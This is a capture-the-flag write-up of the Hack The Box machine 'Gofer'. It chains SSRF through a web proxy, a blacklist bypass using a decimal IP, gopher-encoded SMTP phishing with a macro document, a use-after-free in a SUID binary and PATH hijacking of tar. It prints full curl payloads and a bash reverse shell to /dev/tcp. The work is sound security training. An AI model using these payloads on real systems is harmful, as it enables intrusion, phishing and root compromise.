Skip to main content
  1. Posts/

Gofer - HTB

·17 mins
htb
Table of Contents

As always, we can begin with a port scan:

╰─ nmap -sC -sV 10.129.145.189               
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-31 18:37 EDT
Nmap scan report for 10.129.145.189
Host is up (0.027s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT    STATE    SERVICE     VERSION
22/tcp  open     ssh         OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 aa:25:82:6e:b8:04:b6:a9:a9:5e:1a:91:f0:94:51:dd (RSA)
|   256 18:21:ba:a7:dc:e4:4f:60:d7:81:03:9a:5d:c2:e5:96 (ECDSA)
|_  256 a4:2d:0d:45:13:2a:9e:7f:86:7a:f6:f7:78:bc:42:d9 (ED25519)
25/tcp  filtered smtp
80/tcp  open     http        Apache httpd 2.4.56
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Did not follow redirect to http://gofer.htb/
139/tcp open     netbios-ssn Samba smbd 4.6.2
445/tcp open     netbios-ssn Samba smbd 4.6.2
Service Info: Host: gofer.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: 13s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2023-07-31T22:37:37
|_  start_date: N/A
|_nbstat: NetBIOS name: GOFER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.17 seconds

So, we see SSH, a mail server, HTTP on port 80, and some samba shares. We can add gofer.htb to our /etc/hosts file and look around at the site.

The site itself doesn’t have much interesting information on there so I take a step back to do some enumeration of the samba SMB shares:

╰─ smbclient -N -L //10.129.145.189    

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	shares          Disk      
	IPC$            IPC       IPC Service (Samba 4.13.13-Debian)
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
protocol negotiation failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available

Let’s look deeper at the shared folder:

╰─ smbclient -N  //10.129.145.189/shares
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Oct 28 15:32:08 2022
  ..                                  D        0  Fri Apr 28 07:59:34 2023
  .backup                            DH        0  Thu Apr 27 08:49:32 2023

		5061888 blocks of size 1024. 2180884 blocks available
smb: \> cd .backup
smb: \.backup\> ls
  .                                   D        0  Thu Apr 27 08:49:32 2023
  ..                                  D        0  Fri Oct 28 15:32:08 2022
  mail                                N     1101  Thu Apr 27 08:49:32 2023

		5061888 blocks of size 1024. 2180884 blocks available
smb: \.backup\> get mail
getting file \.backup\mail of size 1101 as mail (9.3 KiloBytes/sec) (average 9.3 KiloBytes/sec)
smb: \.backup\> 

Cool, there was a file called mail present in the .backup folder. Let’s see what it says:

From jdavis@gofer.htb  Fri Oct 28 20:29:30 2022
Return-Path: <jdavis@gofer.htb>
X-Original-To: tbuckley@gofer.htb
Delivered-To: tbuckley@gofer.htb
Received: from gofer.htb (localhost [127.0.0.1])
        by gofer.htb (Postfix) with SMTP id C8F7461827
        for <tbuckley@gofer.htb>; Fri, 28 Oct 2022 20:28:43 +0100 (BST)
Subject:Important to read!
Message-Id: <20221028192857.C8F7461827@gofer.htb>
Date: Fri, 28 Oct 2022 20:28:43 +0100 (BST)
From: jdavis@gofer.htb

Hello guys,

Our dear Jocelyn received another phishing attempt last week and his habit of clicking on links without paying much attention may be problematic one day. That's why from now on, I've decided that important documents will only be sent internally, by mail, which should greatly limit the risks. If possible, use an .odt format, as documents saved in Office Word are not always well interpreted by Libreoffice.

PS: Last thing for Tom; I know you're working on our web proxy but if you could restrict access, it will be more secure until you have finished it. It seems to me that it should be possible to do so via <Limit>

We get some crucial information here that can be helpful later:

  • Email format is firstinitial.lastname@gofer.htb, based off the Team section of the site on port 80.
  • The CEO, Jeff Davis, makes an incredible decision to only send documents internally via email because dear Jocelyn has a bad habit of clicking on bad emails. Not sure if I am crazy here but that seems like the worst solution in this situation.
  • The CEO specifies to only use .odt formatted LibreOffice files.
  • Tom Buckley is working on a web proxy and it is currently not restricted to access (assuming this email is current)

Cool, let’s enumerate some subdomains and see if the proxy is there:

╰─ ffuf -c -u http://FUZZ.gofer.htb/ -w ~/../../usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://FUZZ.gofer.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 68ms]
    * FUZZ: proxy

Good find, let’s add proxy.gofer.htb to our hosts file and look at what we can find:

img

I didn’t have much luck with the default credentials and putting this GET request into Burp Suite didn’t help me much at first.

I decided to try and do some directory enumeration and eventually settled on using a POST request while looking for files with file extensions:

╰─ dirsearch -u http://proxy.gofer.htb/ -e .php,.aspx,.cgi,.txt -m POST

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, cgi, txt | HTTP method: POST | Threads: 30 | Wordlist size: 10455

Output File: /home/kali/.dirsearch/reports/proxy.gofer.htb/-_23-07-31_18-57-53.txt

Error Log: /home/kali/.dirsearch/logs/errors-23-07-31_18-57-53.log

Target: http://proxy.gofer.htb/

[18:57:53] Starting: 
[18:57:55] 403 -  280B  - /.ht_wsr.txt
[18:57:55] 403 -  280B  - /.htaccess.save
[18:57:55] 403 -  280B  - /.htaccess.sample
[18:57:55] 403 -  280B  - /.htaccess.orig
[18:57:55] 403 -  280B  - /.htaccess.bak1
[18:57:55] 403 -  280B  - /.htaccess_extra
[18:57:55] 403 -  280B  - /.htaccess_sc
[18:57:55] 403 -  280B  - /.htaccess_orig
[18:57:55] 403 -  280B  - /.htaccessBAK
[18:57:55] 403 -  280B  - /.htaccessOLD
[18:57:55] 403 -  280B  - /.htaccessOLD2
[18:57:55] 403 -  280B  - /.htm
[18:57:55] 403 -  280B  - /.html
[18:57:55] 403 -  280B  - /.htpasswd_test
[18:57:55] 403 -  280B  - /.httr-oauth
[18:57:55] 403 -  280B  - /.htpasswds
[18:57:55] 403 -  280B  - /.php
[18:58:12] 200 -   81B  - /index.php
[18:58:12] 200 -   81B  - /index.php/login/
[18:58:21] 403 -  280B  - /server-status
[18:58:21] 403 -  280B  - /server-status/

Task Completed

Nice, let’s see what happens when we POST to index.php in Burp Suite:

img

Sweet, we can at least get some answers. We need to provide some kind of URL parameter to continue. Might as well try to ping our own machine right?

img

#on our python http server
╰─ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.145.189 - - [31/Jul/2023 19:02:33] "GET / HTTP/1.1" 200 -

Very good, let’s try and see if we can read files with this little trick:

img

So they’ve got a blacklist, but you’ll see that it is trivial to bypass:

img

You can just get rid of one of the / characters and all of a sudden that blacklist isn’t so scary after all. That being said, we can’t do all to much with this. Given the name of the machine though, it is likely that the gopher protocol is going to be woven in here somewhere.

Note: What we’ve done by querying our own machine from the target is server side request forgery (SSRF). Once I considered this, I found this article: Just Gopher It: Escalating a Blind SSRF to RCE for $15k — Yahoo Mail

This blog post talks about a researcher getting remote code execution from blind SSRF, by using the gopher protocol.

Thankfully, we don’t need to make these payloads ourselves and can use tool called Gopherus.

This tool can also make payloads specifically for the SMTP protocol. It really seems like the box’s lore (like the email and the name of the box) are pushing us to make a payload that will get Jocelyn Hudson to open a link from an email we send her.

We can use Gopherus to make a payload like this:

╰─ python2 gopherus.py --exploit smtp  


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

		author: $_SpyD3r_$


Give Details to send mail: 

Mail from :  gabe@mail.com
Mail To :  jhudson@gofer.htb
Subject :  we love hacking
Message :  http://10.10.14.184/gabe.odt

Your gopher link is ready to send Mail: 

gopher://127.0.0.1:25/_MAIL%20FROM:gabe%40mail.com%0ARCPT%20To:jhudson%40gofer.htb%0ADATA%0AFrom:gabe%40mail.com%0ASubject:we%20love%20hacking%0AMessage:http://10.10.14.184/gabe.odt%0A.

-----------Made-by-SpyD3r-----------

Let’s give it a try with curl:

╰─ curl -s -X POST 'http://proxy.gofer.htb/index.php?url=gopher://127.0.0.1:25/_MAIL%20FROM:gabe%40mail.com%0ARCPT%20To:jhudson%40gofer.htb%0ADATA%0AFrom:gabe%40mail.com%0ASubject:we%20love%20hacking%0AMessage:http://10.10.14.184/gabe.odt%0A.' 
<!-- Welcome to Gofer proxy -->
<html><body>Blacklisted keyword: /127 !</body></html>% 

Well, we might need to encode the local IP address because it is blacklisted. We shouldn’t have any issue if we just convert it to decimal. There are lots of online IPv4 to decimal converters online.

#converting IP to Decimal
127.0.0.1 --> 213070643

Let’s try it out:

╰─ curl -s -X POST 'http://proxy.gofer.htb/index.php?url=gopher://2130706433:25/_MAIL%20FROM:gabe%40mail.com%0ARCPT%20To:jhudson%40gofer.htb%0ADATA%0AFrom:gabe%40mail.com%0ASubject:we%20love%20hacking%0AMessage:http://10.10.14.184/gabe.odt%0A.'
<!-- Welcome to Gofer proxy -->

This doesn’t seem to get flagged, but we see no request come in on our HTTP server. This really confused me, because it all felt like it should be working.

Thankfully, it is the future and we have advanced research tools like google and can quickly find this article about going from SSRF to Internal SMTP Access.

Alright, so we need to clean up our syntax to fit these requirements. The server seems to interpret these one line at a time, so we will need some \r and \n characters. Once you’re all done, it should look a little bit like this:

gopher://2130706433:25/xHELO gofer.htb
MAIL FROM:<gabe@mail.com>
RCPT TO:<jhudson@gofer.htb>
DATA
From: <gabe@mail.com>
To: <jhudson@gofer.htb>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: we love hacking

check out this article ! <a href=''http://10.10.14.184/gabe.odt>here</a>


.
QUIT

So my curl request looked like this:

╰─ curl -s -X POST 'http://proxy.gofer.htb/index.php?url=gopher://2130706433:25/xHELO%20gofer.htb%250d%250aMAIL%20FROM%3A%3Cgabe@mail.com%3E%250d%250aRCPT%20TO%3A%3Cjhudson@gofer.htb%3E%250d%250aDATA%250d%250aFrom%3A%20%3Cgabe@mail.com%3E%250d%250aTo%3A%20%3Cjhudson@gofer.htb%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20we%20love%20hacking%250d%250a%250d%250acheck%20out%20this%20article%20%21%20<a+href%3d''http%3a//10.10.14.184/gabe.odt>here</a>%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a'
<!-- Welcome to Gofer proxy -->
220 gofer.htb ESMTP Postfix (Debian/GNU)
250 gofer.htb
250 2.1.0 Ok
250 2.1.5 Ok
354 End data with <CR><LF>.<CR><LF>
250 2.0.0 Ok: queued as E72DF813D
221 2.0.0 Bye

And we got a response back on our listener:

╰─ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.136.237 - - [03/Aug/2023 16:18:29] code 404, message File not found
10.129.136.237 - - [03/Aug/2023 16:18:29] "GET /gabe.odt HTTP/1.1" 404 -

Nice, now we just need to make a malicious LibreOffice document that can give us a shell when Jocelyn looks at the document.

There is a great article on how to do this here.

We make our reverse shell macro:

img

Then, we need to assign it to open when the document is opened:

img

Then, we can open our listener and give it a try:

╰─ nc -lvp 1337
listening on [any] 1337 ...
connect to [10.10.14.184] from gofer.htb [10.129.136.237] 34888
bash: cannot set terminal process group (5743): Inappropriate ioctl for device
bash: no job control in this shell
bash: /home/jhudson/.bashrc: Permission denied
jhudson@gofer:/usr/bin$ 

Nice, let’s keep moving. LinPEAS didn’t show me anything too interesting, but if we upload pspy and observe some processes we get more interesting information:

---SNIP---
2023/08/05 23:45:01 CMD: UID=0    PID=2388   | /usr/sbin/CRON -f 
2023/08/05 23:45:01 CMD: UID=0    PID=2387   | /usr/sbin/CRON -f 
2023/08/05 23:45:01 CMD: UID=0    PID=2389   | /usr/sbin/CRON -f 
2023/08/05 23:45:01 CMD: UID=0    PID=2390   | /bin/sh -c /root/scripts/curl.sh 
2023/08/05 23:45:01 CMD: UID=0    PID=2392   | /usr/bin/curl http://proxy.gofer.htb/?url=http://gofer.htb --user tbuckley:ooP4dietie3o_hquaeti 
2023/08/05 23:45:01 CMD: UID=0    PID=2391   | /bin/bash /root/scripts/curl.sh 
2023/08/05 23:45:01 CMD: UID=0    PID=2395   | /bin/bash /root/scripts/mail.sh 
2023/08/05 23:45:01 CMD: UID=0    PID=2399   | /usr/sbin/CRON -f 
---SNIP---

We can use these credentials to SSH in as the tbuckley user. Let’s look around for any SUID programs that we are allowed to use:

tbuckley@gofer:~$ find / -perm /4000
---SNIP---
/usr/bin/passwd
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/pkexec
/usr/bin/su
/usr/bin/chfn
/usr/bin/newgrp
/usr/local/bin/notes
find: ‘/home/jhudson/.cache/dconf’: Permission denied
find: ‘/home/jhudson/.config’: Permission denied
---SNIP---

The /usr/local/bin/notes program looks promising, let’s run it and see what we can do with it:

tbuckley@gofer:~$ /usr/local/bin/notes
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice: 

We can’t read the source code for this binary, but we can download it and see what it acts like on our machine. I’m not much of a gdb guru at the time being, so I opted to take this apart using the Ghidra setting on Dogbolt which is a handy online decompiler.

We can look into the main function and we see that happens when we enter a name:

img

This is the function that has us make a new user and enter their username. Let’s go through it nice and slow until we find something worth pursuing.

local_10 = malloc(0x28);

This line allocates a buffer of (0x28), or 40 bytes.

if (local_10 == (void *)0x0) {
	exit(-1); 
}

This checks to see if the allocation worked, and if not the program exits.

memset(local_10,0,0x18); 
memset((void *)((long)local_10 + 0x18),0,0x10);

These two lines clear the 40 byte buffer in two parts. The first line clears the first (0x18) 24 bytes and the second line clears the following (0x10) 16 bytes.

_Var1 = getuid();

This calls the getuid() function.

if (_Var1 == 0) {
    *(undefined4 *)((long)local_10 + 0x18) = 0x696d6461;
    *(undefined *)((long)local_10 + 0x1c) = 0x6e;
}
else {
    *(undefined4 *)((long)local_10 + 0x18) = 0x72657375;
}

These two lines check if the uid is 0. If it is, the function sets the first two bytes of the buffer to admin. Otherwise, the function sets the first two bytes of the buffer to user.

printf("Choose an username: "); __isoc99_scanf(&DAT_00102144,local_10); puts("");

And these lines prompt the user to enter the username, then it displays a blank line.

Note: I am not going to do this for every function, just the ones I think are interesting enough to go over, but because I’m not too experienced here I’ve got to go a bit slower.

Let’s dig into the next function:

img

if (local_10 == (void *)0x0) {
	puts("First create an user!\n");
}

Knowing that local_10 is the pointer to the buffer that stores our user information, if this is empty we haven’t created a user yet.

else {
	printf("\nUsername: %s\n",local_10);
	printf("Role: %s\n\n",(long)local_10 + 0x18);
}

This displays the username and role information for the user. Telling us that the role is contained in those last 16 bytes.

img

This third function is meant to delete the content in local_10, but it uses the free() function to do so. This will be important later.

img

The fourth function has to do with writing notes and relating them to a user.

local_18 = malloc(0x28); 
memset(local_18,0,0x28);

The local_18 pointer is allocated with (0x28) 40 bytes on to the heap, this is where the note will be stored. The memset function clears the buffer to zero so that we can write data into it.

if (local_18 == (void *)0x0) { 
	// WARNING: Subroutine does not return 
	exit(-1); 
}

This just an error checking function to make sure that memory was correctly allocated onto the heap at the address local_18 points to.

puts("Write your note:"); 
__isoc99_scanf(&DAT_0010218b,local_18); 
break;

This just prompts the user write in their note.

img

These next few are pretty quick. Function five just prints the note the user just entered. Function six doesn’t seem to do anything, which makes sense given the prompt we see when starting the program. Function seven does what it says, it deletes the note if one is there, also using the free() function.

img

Function eight is the real meat and potatoes that we can use to escalate our privileges.

if (local_10 == (void *)0x0) {
	puts("First create an user!\n"); 
}

First, if there is no user, the program will ask you to make one.

else {
	iVar2 = strcmp((char *)((long)local_10 + 0x18),"admin");
	//more to come

The iVar2 variable compares the string ‘admin’ with the contents of the role section of the buffer that local_10 points to, which is the last 16 byes.

	if (iVar2 == 0) { 
		puts("Access granted!"); 
		setuid(0); 
		setgid(0); 
		system("tar -czvf /root/backups/backup_notes.tar.gz /opt/notes"); 
}

If the result of the aforementioned comparison is 0, then that means the current user has the admin role and the user’s uid and gid will be changed to 0, the same as root, so that it can backup the notes from /opt/notes to the archive in the /root/backups directory.

else {
	puts("Access denied: you don\'t have the admin role!\n"); 
}

If the user isn’t an admin, then they aren’t allowed to backup their notes.

Cool, we have everything we need but now we’ve just got to put it together.

Our Exploit Strategy
#

To recognize this vulnerability, we need to be aware of something called dangling pointers.

To summarize, a dangling pointer is a pointer that points to a memory location that has been deallocated.

In the third function, the local_10 variable is a dangling pointer. This is because the function allocates memory for the variable using the malloc() function, but it does not free the memory when the function exits. This means that the pointer will still point to the memory location that was allocated, even though the memory has been freed.

I am going to try and express this with a crude graph I drew up, first we can make a new user.

img

Then after we delete our user, the program leaves a dangling pointer.

img

Next, when we add a note, the local_10 pointer and the local_18 pointer are both parsing the same data:

img

We can test this on our machine like this:

# making a user
Your choice: 2


Username: gabe
Role: user

========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================

# deleting the user (dangling pointer)
Your choice: 3

========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================

# looking at the freed data
Your choice: 2


Username: Uu,
Role: user

========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================

# making a note
Your choice: 4

Write your note:
cool-note-1
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================

# checking the note data in local_18
Your choice: 5

Note: cool-note-1

========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================

# notice how the note data was also placed in the local_10 buffer
Your choice: 2


Username: cool-note-1
Role: 

So, knowing that the buffer is 40 bytes long for both the note and the user information, we can change our user to admin by padding 24 characters and then admin like this: AAAAAAAAAAAAAAAAAAAAAAAAadmin

Now, what would this actually do? Well, it lets us backup files. By itself that doesn’t sound super useful but the implementation for backing up the note isn’t perfect:

system("tar -czvf /root/backups/backup_notes.tar.gz /opt/notes");

It doesn’t use the full path for the tar program, which means that the program will default to the environment variables when it runs.

If we make a program called tar and export that to our $PATH, then that will get executed instead of the real tar program.

So, let’s make a malicious tar program to give us a reverse shell:

tbuckley@gofer:/tmp$ cat tar
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.14.184/1337 0>&1

We need tar to be executable:

tbuckley@gofer:/tmp$ chmod +x tar

Then we can add /tmp to our PATH:

tbuckley@gofer:/tmp$ export PATH=/tmp:$PATH

Now we just need to exploit the program and have our listener ready:

tbuckley@gofer:/tmp$ /usr/local/bin/notes
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
---SNIP---
========================================


Your choice: 1

Choose an username: gabe

========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
---SNIP---
========================================


Your choice: 3

========================================
---SNIP---
3) Delete an user
4) Write a note
---SNIP---
========================================


Your choice: 4

Write your note:
AAAAAAAAAAAAAAAAAAAAAAAAadmin
========================================
1) Create an user and choose an username
2) Show user information
---SNIP---
========================================


Your choice: 2


Username: AAAAAAAAAAAAAAAAAAAAAAAAadmin
Role: admin

========================================
---SNIP---
8) Backup notes
9) Quit
========================================


Your choice: 8

Access granted!

And just like that we’ve got a shell on our listener as root:

╰─ nc -lvp 1337
listening on [any] 1337 ...
connect to [10.10.14.184] from gofer.htb [10.129.138.118] 59596
root@gofer:/tmp# whoami
whoami
root

Related

Authority - HTB
·14 mins
htb
We can begin with a port scan as usual: ╰─ nmap -sC -sV 10.
Sau - HTB
·6 mins
htb
As always, we begin with a port scan: ╰─ nmap -sC -sV 10.129.186.83 Starting Nmap 7.
Intentions - HTB
·16 mins
htb
As always, we can begin with a port scan: ╰─ nmap -sC -sV 10.